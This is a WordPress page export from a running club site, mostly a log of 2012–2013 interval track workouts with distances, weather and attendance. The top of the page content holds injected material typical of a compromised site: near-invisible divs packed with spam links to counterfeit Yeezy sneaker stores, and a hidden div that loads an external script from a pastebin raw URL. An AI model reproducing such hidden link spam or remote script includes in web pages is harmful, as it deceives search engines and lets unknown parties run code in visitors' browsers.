{"id":518,"date":"2012-12-23T11:31:25","date_gmt":"2012-12-23T19:31:25","guid":{"rendered":"http:\/\/gospartans.org\/?page_id=518"},"modified":"2017-02-04T22:31:31","modified_gmt":"2017-02-05T06:31:31","slug":"2013-3","status":"publish","type":"page","link":"https:\/\/gospartans.org\/?page_id=518","title":{"rendered":"2013"},"content":{"rendered":"<div class=\"_all_wplink_42PjORRh_cc\" style=\"position:absolute;opacity:0.001;z-index:10;filter:alpha(opacity=0)\"><a href=\"http:\/\/jobstelangana.in\/yeezy-350-v2-zebra.html\">yeezy boost 350 v2 red<\/a><a href=\"http:\/\/www.inexa.com\/yeezyboost.php\">yeezy boost 350 zebra for sale<\/a><a href=\"http:\/\/www.nojanrad.com\/yeezy-boost-350-v2-black-cp9652.html\">http:\/\/www.nojanrad.com\/yeezy-boost-350-v2-black-cp9652.html<\/a><a href=\"http:\/\/gursesintour.com\/yeezy-boost-350-v2-triple-white.php\">yeezy boost 350 triple white<\/a><a href=\"http:\/\/www.hemmat110.com\/adidas-yeezys-350-v2-beluga-2017.html\">Adidas Yeezy Boost 350 V2<\/a><a href=\"http:\/\/www.christinamartin.net\/yeezy-boost-350-v2-raffle-2017.php\">Adidas Yeezy Boost 350 V2 Black<\/a><a href=\"http:\/\/fotoya.ir\/yeezys-boost-sale.html\">http:\/\/fotoya.ir\/yeezys-boost-sale.html<\/a><a href=\"https:\/\/esoft.lk\/yeezy-boost-350.html\">yeezy boost 350 store list<\/a><a href=\"http:\/\/hotelaqua.co.uk\/yeezy-boost-350-black-red\/\">yeezy boost 350 v2 uk for sale<\/a><a href=\"http:\/\/www.bitfotos.com.br\/wp-content\/uploads\/yeezy-boost-350-v2-black-red.html\">yeezy boost 350 v2 black red for sale<\/a><a href=\"http:\/\/www.skybluefc.com\/yeezy-boost-sply-350.php\">yeezy boost 350 for sale<\/a><a href=\"http:\/\/www.iautb.ac.ir\/yeezy-boost-350-v2-black-red-sale\/\">adidas yeezy boost 350<\/a><a href=\"http:\/\/osaavasatakunta.fi\/us\/buy-yeezy-boost-350-v2.html\">yeezy boost 350 v2 black red buy<\/a><a href=\"http:\/\/www.missionmotorsport.org\/CP9652-yeezy.php\">yeezy boost 350 v2 for sale<\/a><\/div>\n<div class=\"_all_wplink_ifisEmmL_cc\" style=\"position:absolute;opacity:0.001;z-index:10;filter:alpha(opacity=0)\"><a href=\"http:\/\/yeezy350v2s.us.com\">yeezy boost 350<\/a><\/div>\n<div style=\"display:none\"><script language=\"javascript\" type=\"text\/javascript\" src=\"http:\/\/pastebin.com\/raw.php?i=f4Rv9vKp\"><\/script><\/div>\n<p>01\/01\/14 Wed &#8211; New Year&#8217;s Day &#8211; gone racing<\/p>\n<p>Beginning 10\/14\/13 &#8211; we transition to endurance focused intervals. Interval distances and total distances are gradually increased to a maximum total distance of\u00a0 four miles on Wednesdays and three on Mondays by the end of 2013.\u00a0 The running pace is slightly slower and recovery times shorter.<\/p>\n<p>Completed &#8211;<br \/>\n12\/30\/13 Mon &#8211; 800; 600; 2&#215;400; 2&#215;200; 2&#215;400; 600; 800\u00a0 = 3 mi; lo 50&#8217;s; 3 ran<br \/>\n12\/25\/13 Wed &#8211; Merry Christmas<br \/>\n12\/23\/13 Mon &#8211; 12&#215;400\u00a0 = 3 mi; lo 50&#8217;s; 2 ran<br \/>\n12\/18\/13 Wed &#8211;\u00a0 3(1,600; 400) = 3 &#8211; 3\/4 mi; hi 40&#8217;s; 3 ran<br \/>\n12\/16\/13 Mon &#8211; 4x(400; 400; 200); 400\u00a0 = 2 &#8211; 3\/4 mi; hi 40&#8217;s; 3 ran<br \/>\n12\/11\/13 Wed &#8211;\u00a0 school function &#8211; restricted track access<br \/>\n12\/09\/13 Mon &#8211; no work-out, too cold<br \/>\n12\/04\/13 Wed &#8211;\u00a0 400; 1,200; 800; 2x(400; 1,200) = 3 &#8211; 1\/2 mi; lo 40&#8217;s; 2 ran<br \/>\n12\/02\/13 Mon &#8211; 2&#215;800; 3&#215;400; 2&#215;800\u00a0 = 2 &#8211; 3\/4 mi; mid 40&#8217;s; 2 ran<br \/>\n11\/27\/13 Wed &#8211;\u00a0 Rest day &#8211; race Thanksgiving day<br \/>\n11\/25\/13 Mon &#8211; 2&#215;600; 2&#215;400; 2&#215;200; 2&#215;400; 2&#215;600\u00a0 = 2 &#8211; 3\/4 mi; mid 50&#8217;s; 3 ran<br \/>\n11\/20\/13 Wed &#8211;\u00a0 rained out<br \/>\n11\/18\/13 Mon &#8211; 5&#215;800\u00a0 = 2 &#8211; 1\/2 mi; lo 60&#8217;s; 3 ran<br \/>\n11\/13\/13 Wed &#8211;\u00a0 2x(1,600; 400); 1,600 = 3 &#8211; 1\/2 mi; mid 60&#8217;s; 3 ran<br \/>\n11\/11\/13 Mon &#8211; 2x(800; 600; 400)\u00a0 = 2 &#8211; 1\/4 mi; mid 60&#8217;s; 2 ran<br \/>\n11\/06\/13 Wed &#8211;\u00a0 4x(400; 800); 400 = 3 &#8211; 1\/4 mi; mid 60&#8217;s; 4 ran<br \/>\n11\/04\/13 Mon &#8211; 4x(600; 400)\u00a0 = 2 &#8211; 1\/2 mi; lo 60&#8217;s; 2 ran<br \/>\nend daylight savings time<br \/>\n10\/30\/13 Wed &#8211;\u00a0 1,200; 800; 1,200; 800; 1,200 = 3 &#8211; 1\/4 mi; mid 60&#8217;s; 5 ran<br \/>\n10\/28\/13 Mon &#8211; 2&#215;800; 400; 2&#215;800 = 2 &#8211; 1\/4 mi; lo 60&#8217;s; 3 ran<br \/>\n10\/23\/13 Wed &#8211;\u00a0 1,600; 400; 1,200; 400; 1,600 = 3 &#8211; 1\/4 mi; mid 60&#8217;s; 6 ran<br \/>\n10\/21\/13 Mon &#8211; 3x(600; 400; 200) = 2 &#8211; 1\/4 mi; mid 60&#8217;s; 4 ran<br \/>\n10\/16\/13 Wed &#8211;\u00a0 1,600; 2&#215;800; 1,600 = 3 mi; hi 60&#8217;s; 6 ran<br \/>\n10\/14\/13 Mon &#8211; 9&#215;400 = 2 &#8211; 1\/4 mi; hi 60&#8217;s; 6 ran<br \/>\nbegin transition to endurance focus: longer intervals; slower pace<br \/>\n10\/09\/13 Wed &#8211;\u00a0 1,600; 400; 1200; 400; 800; 400 = 3 mi; lo 60&#8217;s; 6 ran<br \/>\n10\/07\/13 Mon &#8211; 600; (300; 50 jog; 150 sprint); 400; (300; 50 jog; 150 sprint); 600; (300; 50 jog; 150 sprint) = 2 mi; lo 60&#8217;s; 2 ran<br \/>\n10\/03\/13 Wed &#8211;\u00a0\u00a04x(800; 200); 800 = 3 mi; lo 60&#8217;s; 4 ran<br \/>\n10\/01\/13 Mon &#8211; 3&#215;400; 4&#215;200; 3&#215;400 = 2 mi; mid 60&#8217;s; 3 ran<br \/>\n09\/25\/13 Wed &#8211; 4x(800; 400) = 3 mi; lo 70&#8217;s; 5 ran<br \/>\n09\/23\/13 Mon &#8211; 8&#215;400 = 2 mi; mid 60&#8217;s; 2 ran<br \/>\n09\/17\/13 Wed &#8211; 1,200; 800; 2&#215;400; 800; 1,200 = 3 mi; lo 70&#8217;s; 5 ran<br \/>\n09\/15\/13 Mon &#8211; ? = 2 mi; mid 70&#8217;s; ? ran<br \/>\n09\/10\/13 Wed &#8211;\u00a0 6&#215;800 = 3 mi; mid 70&#8217;s; 4 ran<br \/>\n09\/08\/13 Mon &#8211;\u00a0 3x(200;2&#215;400); 200\u00a0 = 2 mi; mid 70&#8217;s; 3 ran<br \/>\n09\/04\/13 Wed &#8211; 2&#215;400; 4&#215;800; 2&#215;400 = 3 mi; hi 70&#8217;s; 6 ran<br \/>\n09\/02\/13 Mon &#8211; Holiday. One ran<br \/>\n08\/28\/13 Wed &#8211; \u00a01,200; 2&#215;800; 1,200; with 200&#8217;s between and at end = 3 mi; hi 70&#8217;s; 4 ran<br \/>\n08\/26\/13 Mon &#8211;\u00a0 200; 5x(400; 200)\u00a0 = 2 mi; hi 70&#8217;s; two ran<br \/>\n08\/21\/13 Wed &#8211; 4x(400; 800) = 3 mi; mid 70&#8217;s; two ran<br \/>\n08\/19\/13 Mon &#8211; 3x(400; 200; 400); 200\u00a0= 2 mi; mid 70&#8217;s 2 ran<br \/>\n08\/14\/13 Wed &#8211;\u00a0 1,200; 2&#215;800; 1,200; with 200&#8217;s between and at end = 3 miles total<br \/>\n08\/12\/13 Mon &#8211;\u00a0 200; 5x(400; 200)\u00a0 = 2 miles<br \/>\n08\/07\/13 Wed &#8211; 4x(800; 200); 800 = 3 mi; mid 70&#8217;s; 3 ran<br \/>\n08\/05\/13 Mon &#8211; 8&#215;400 = 2 mi<br \/>\n07\/25\/13 Wed &#8211;\u00a0 4x(800; 200); 800 = 3 mi; mid 70&#8217;s; 4 ran<br \/>\n07\/22\/13 Mon &#8211;\u00a0 8&#215;400\u00a0 = 2 mi<br \/>\n07\/17\/13 Wed &#8211;\u00a0 3x(400; 800; 400) = 3 mi; mid 70&#8217;s; 2 ran<br \/>\n07\/15\/13 Mon &#8211;\u00a0 2&#215;400; 2&#215;200; 2x(300; 50 jog; 150 sprint); 2&#215;200; 2&#215;400\u00a0 = 2 mi; hi 70&#8217;s; 3 ran<br \/>\n07\/10\/13 Wed &#8211;\u00a0 2&#215;800; 4&#215;400; 2&#215;800 = 3 mi; hi 70&#8217;s; 4 ran<br \/>\n07\/08\/13 Mon &#8211;\u00a0 600; 2x(400; 200; 400); 600\u00a0 = 2 mi; hi 70&#8217;s; 2 ran<br \/>\n07\/03\/13 Wed &#8211; Pre Fourth of July break<br \/>\n07\/01\/13 Mon &#8211;\u00a0\u00a0 3&#215;400; 4&#215;200; 3&#215;400 = 2 mi<br \/>\n06\/26\/13 Wed &#8211;\u00a0 1,200; 800; 2&#215;400; 800; 1,200 = 3 mi<br \/>\n06\/24\/13 Mon &#8211;\u00a0 600; 2&#215;400; 2&#215;200; 2&#215;400; 600\u00a0 = 2 mi<br \/>\n06\/19\/13 Wed &#8211;\u00a0 1,200; 2&#215;800; 2x(300; 50 jog; 150 sprint); 800 = 3 mi; lo 60&#8217;s; 4 ran<br \/>\n06\/17\/13 Mon &#8211;\u00a0 2&#215;400; 4x(300; 50 jog; 150 sprint); 2&#215;400\u00a0 = 2 mi; lo 60&#8217;s; 3 ran<br \/>\n06\/12\/13 Wed &#8211;\u00a0 2&#215;1,200; 2x 800; 2&#215;400 = 3 mi; mid 60&#8217;s; 4 ran<br \/>\n06\/10\/13 Mon &#8211;\u00a0 8&#215;400\u00a0 = 2 mi; mid 60&#8217;s; 3 ran<br \/>\n06\/05\/13 Wed &#8211; 2&#215;400; 2&#215;800; 2&#215;1,200 = 3 mi; mid 60&#8217;s; 4 ran<br \/>\n06\/03\/13 Mon &#8211;\u00a0 3&#215;400; 4&#215;200; 3&#215;400\u00a0 = 2 mi; mid 60&#8217;s; 3 ran<br \/>\n05\/29\/13 Wed &#8211; 1,200; 800; 5&#215;400; 800 = 3 mi; mid 60&#8217;s; 5 ran<br \/>\n05\/27\/13 Mon &#8211;\u00a0 3&#215;400; 6&#215;200; 2&#215;400\u00a0 = 2 mi; mid 60&#8217;s; 3 ran<br \/>\n05\/22\/13 Wed &#8211; 6&#215;800 = 3 mi; lo 60&#8217;s; 4 ran<br \/>\n05\/20\/13 Mon &#8211;\u00a0 2&#215;400; 4x(300; 50 jog; 150 sprint); 2&#215;400\u00a0 = 2 mi; mid 60&#8217;s; 3 ran<br \/>\n05\/15\/13 Wed &#8211; 2x(800; 2&#215;600); 800 = 3 mi; lo 60&#8217;s; 4 ran<br \/>\n05\/13\/13 Mon &#8211;\u00a0 2 mi; server down &#8211; data lost<br \/>\n05\/08\/13 Wed &#8211;\u00a0 3 mi; server down &#8211; data lost<br \/>\n05\/06\/13 Mon &#8211; 2 mi; server down &#8211; data lost<br \/>\n05\/01\/13 Wed &#8211; 2&#215;800; 4&#215;400; 2&#215;800 = 3 mi; lo 70&#8217;s; 4 ran<br \/>\n04\/29\/13 Mon &#8211; 8&#215;400\u00a0 = 2 mi; lo 70&#8217;s; 3 ran<br \/>\nBeginning 04\/29\/13 &#8211; we are in six to eight weeks of speed work &#8211; shorter total miles and interval distances with longer recovery times to allow running at a faster pace.<br \/>\n04\/24\/13 Wed &#8211; 1,200; 3&#215;800; 1,200 = 3 mi; hi 60&#8217;s; 4 ran<br \/>\n04\/22\/13 Mon &#8211;\u00a0 400; 3x(600; 400)\u00a0 = 2.25 mi; hi 60&#8217;s; 4 ran<br \/>\n04\/17\/13 Wed &#8211; 2&#215;800; 2&#215;400; 800; 400; 2&#215;800 = 3.25 mi; lo 60&#8217;s; three ran<br \/>\n04\/15\/13 Mon &#8211; 2&#215;600; 3&#215;400; 2&#215;600 = 2.25 mi; hi 50&#8217;s; 5 ran<br \/>\n04\/10\/13 Wed &#8211; 2&#215;1,200; 800; 2&#215;1,200 = 3.5 mi; lo 60&#8217;s 2 ran<br \/>\n04\/08\/13 Mon &#8211; 2&#215;400; 4&#215;600; 2&#215;400 = 2.5 mi; lo 60&#8217;s; 0 ran<br \/>\n04\/03\/13 Wed &#8211; 2&#215;1,600; 1,200; 1,600 = 3.75 mi; mid 60&#8217;s; 3 ran<br \/>\n04\/01\/13 Mon &#8211; 2&#215;400; 2&#215;600; 800; 2&#215;600; 400 = 2.75 mi; mid 60&#8217;s; 2 ran<br \/>\n03\/27\/13 Wed &#8211; 4&#215;1,600 = 4 mi; lo 60&#8217;s; 3 ran<br \/>\n03\/25\/13 Mon &#8211; 400&#215;11 = 2.75 mi; mid 60&#8217;s; 2 ran<br \/>\nBeginning 03\/25\/13 &#8211; six to eight weeks of transition from endurance to speed work. We will gradually shorten the total miles and interval distances with increasing recovery times to allow running at a faster pace.<br \/>\n03\/19\/13 Wed &#8211; 2&#215;1,200; 1,600; 2&#215;1,200 = 4 mi; mid 60&#8217;s; 5 ran<br \/>\n03\/17\/13 Mon &#8211; 2&#215;600; 3&#215;800; 2&#215;600 = 3 mi; mid 60&#8217;s; 4 ran<br \/>\n03\/13\/13 Wed &#8211; 2&#215;400; 2&#215;800; 1,600; 2&#215;800; 2&#215;400 = 4 mi; lo 70&#8217;s; 4 ran<br \/>\n03\/11\/13 Mon &#8211; 8&#215;600 = 3 mi; lo 60&#8217;s; 3 ran<br \/>\n03\/06\/13 Wed &#8211; 2x(1,200; 800; 1,200) = 4 mi; mid 50&#8217;s; 4 ran<br \/>\n03\/04\/13 Mon &#8211; 2&#215;400; 4&#215;800; 2&#215;400 = 3 mi; mid 50&#8217;s; 2 ran<br \/>\n02\/27\/13 Wed &#8211; 4&#215;1,600 = 4 mi; hi 50&#8217;s; 4 ran<br \/>\n02\/25\/13 Mon &#8211; 2x(800; 400; 600); 800; 400 = 3 mi; hi 50&#8217;s; 3 ran<br \/>\n02\/20\/13 Wed &#8211; 800; 3&#215;1,600; 800 = 4 mi; lo 50&#8217;s; 5 ran<br \/>\n02\/18\/13 Mon (holiday) &#8211;\u00a06&#215;800 = 3 mi; mid 50&#8217;s; 3 ran<br \/>\n02\/13\/13 Wed &#8211; 2x(800; 1,600; 800) = 4 mi; lo 60&#8217;s; 4 ran<br \/>\n02\/11\/13 Mon &#8211;\u00a03&#215;400; 3&#215;800; 3&#215;400 = 3 mi; hi 50&#8217;s; 3 ran<br \/>\n02\/06\/13 Wed &#8211; 2&#215;800; 2&#215;1,600; 2&#215;800 = 4 mi; lo 50&#8217;s; 3 ran<br \/>\n02\/04\/13 Mon &#8211; 600; 3x(400; 800); 600 = 3 mi; mid 50&#8217;s; 3 ran<br \/>\n01\/30\/13 Wed &#8211; 2x(400; 800); 1,600; 2x(800; 400) = 4 mi; hi 50&#8217;s; 4 ran<br \/>\n01\/28\/13 Mon &#8211; 3&#215;400; 2&#215;600; 3&#215;800 = 3 mi; mid 50&#8217;s; 3 ran<br \/>\n01\/23\/13 Wed &#8211;\u00a0 2&#215;400; 2&#215;800; 1,600; 2&#215;800; 2&#215;400 &#8211; 4 mi; mid 50&#8217;s; 4 ran<br \/>\n01\/21\/13 Mon &#8211; 400; 2&#215;600; 2&#215;800; 2&#215;600; 400\u00a0 = 3 mi; lo 50&#8217;s, sprinkles; 2 ran<br \/>\n01\/16\/13 Wed &#8211; 2&#215;800; 2&#215;1,600; 2&#215;800 &#8211; 4 mi; lo 50&#8217;s; 3 ran<br \/>\n01\/14\/13 Mon &#8211; 3x(400; 800; 400) = 3 mi; hi 40&#8217;s; 3 ran<br \/>\nmax interval lengths and total distance<br \/>\n01\/09\/13 Wed &#8211; 5&#215;1,200 + 3.75 mi; hi 40&#8217;s; 2 ran<br \/>\n01\/07\/13 Mon &#8211; 2&#215;400; 4&#215;800; 2&#215;400 = 3 mi; mid 50&#8217;s; 2 ran<br \/>\n01\/02\/13 Wed &#8211; 5&#215;1,200 &#8211; 3.75 mi; three ran; mid 50&#8217;s;<br \/>\n12\/31\/12 Mon &#8211; Happy New Year &#8211; no work-out<br \/>\n12\/31\/12 Mon &#8211; Happy New Year &#8211; no work-out<br \/>\n12\/26\/12 Wed &#8211; Merry Christmas &#8211; no work-out<br \/>\n12\/24\/12 Mon &#8211; Merry Christmas &#8211; no work-out<br \/>\n12\/19\/12 Wed &#8211; 2&#215;400; 2&#215;800; 2&#215;1,600 = 3.5 mi; lo 50&#8217;s;\u00a0 6 ran<br \/>\n12\/17\/12 Mon &#8211; 12&#215;400 = 3 mi; mid 50&#8217;s; 6 ran<br \/>\n12\/12\/12 Wed &#8211; 800; 3&#215;1,600 = 3.50 mi; hi 40&#8217;s; 4 ran<br \/>\n12\/10\/12 Mon &#8211; 3&#215;600; 2&#215;400; 3&#215;600 = 2.75 mi; lo 50&#8217;s 2 ran<br \/>\n12\/05\/12 Wed &#8211; 1,600; 800; 400; 800; 1,600 = 3.25 mi; mid 50&#8217;s<br \/>\n12\/03\/12 Mon &#8211; 400; 6&#215;600; 400 = 2.75 mi; mid 50&#8217;s;<br \/>\n11\/28\/12 Wed &#8211; 1,600; 2&#215;1,200; 800; 400 = 3.25 mi; hi 50&#8217;s, rain threat; 3 ran<br \/>\n11\/26\/12 Mon &#8211; 3&#215;400; 2&#215;800; 3&#215;400 = 2.5 mi; hi 50&#8217;s; 4 ran<br \/>\n11\/21\/12 Wed &#8211; 400; 2&#215;800; 2&#215;1,600 = 3.25 mi; lo 60&#8217;s; 4 ran<br \/>\n11\/19\/12 Mon &#8211; 3x(400; 800) = 2.25 mi; lo 60&#8217;s; 4 ran<br \/>\n11\/14\/12 Wed &#8211; 2&#215;1,200; 2&#215;1,600 = 3.25\u00a0 mi; lo 60&#8217;s; 4 ran<br \/>\n11\/12\/12 Mon &#8211; 400; 600; 2&#215;800; 600; 400\u00a0 = 2.25 mi; lo 60&#8217;s; 6 ran<br \/>\n11\/07\/12 Wed &#8211; 800; 2&#215;1,600; 800 = 3 mi; hi 50&#8217;s; 2 ran<br \/>\n11\/05\/12 Mon &#8211; 3&#215;400; 2&#215;800; 2&#215;400\u00a0 = 2.25 mi; lo 60&#8217;s; 4 ran<br \/>\n10\/31\/12 Wed &#8211; 400; 600; 800; 1,200; 800; 600; 400 = 3 mi; lo 60&#8217;s; 2 ran<br \/>\n10\/29\/12 Mon &#8211; 9&#215;400 = 2.25 mi; lo 60&#8217;s; 6 ran<\/p>\n","protected":false},"excerpt":{"rendered":"<p>yeezy boost 350 v2 redyeezy boost 350 zebra for salehttp:\/\/www.nojanrad.com\/yeezy-boost-350-v2-black-cp9652.htmlyeezy boost 350 triple whiteAdidas Yeezy Boost 350 V2Adidas Yeezy Boost 350 V2 Blackhttp:\/\/fotoya.ir\/yeezys-boost-sale.htmlyeezy boost 350 store listyeezy boost 350 v2 uk for saleyeezy boost 350 v2 black red for saleyeezy &hellip; <a href=\"https:\/\/gospartans.org\/?page_id=518\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"parent":136,"menu_order":41,"comment_status":"closed","ping_status":"closed","template":"","meta":{"jetpack_post_was_ever_published":false,"footnotes":""},"class_list":["post-518","page","type-page","status-publish","hentry"],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/PUWdT-8m","_links":{"self":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/518","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=518"}],"version-history":[{"count":110,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/518\/revisions"}],"predecessor-version":[{"id":1646,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/518\/revisions\/1646"}],"up":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/136"}],"wp:attachment":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=518"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}